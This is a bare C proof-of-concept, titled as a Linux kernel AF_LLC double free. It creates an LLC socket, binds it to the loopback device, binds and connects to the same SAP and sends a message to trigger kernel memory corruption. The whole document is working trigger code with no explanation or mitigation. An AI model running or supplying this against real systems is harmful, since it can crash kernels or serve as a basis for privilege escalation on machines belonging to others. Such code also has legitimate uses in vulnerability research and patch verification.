Linux Kernel AF_LLC Double Free

`#define _GNU_SOURCE  
#include <endian.h>  
#include <sys/syscall.h>  
#include <unistd.h>  
#include <errno.h>  
#include <sched.h>  
#include <signal.h>  
#include <stdarg.h>  
#include <stdbool.h>  
#include <stdio.h>  
#include <sys/prctl.h>  
#include <sys/resource.h>  
#include <sys/time.h>  
#include <sys/wait.h>  
#include <stdint.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <sys/socket.h>  
  
struct sockaddr_llc {  
short sllc_family;  
short sllc_arphrd;  
unsigned char sllc_test;  
unsigned char sllc_xid;  
unsigned char sllc_ua;  
unsigned char sllc_sap;  
unsigned char sllc_mac[6];  
unsigned char __pad[2];  
};  
  
void test()  
{  
int fd = socket(AF_LLC, SOCK_STREAM, 0);  
char output[32] = "lo";  
socklen_t len;  
setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);  
struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};  
bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));  
struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};  
connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));  
  
char msg[0x10] = "aaaa";  
send(fd, msg, 0x10, 0);  
}  
  
int main()  
{  
test();  
return 0;  
}  
  
  
`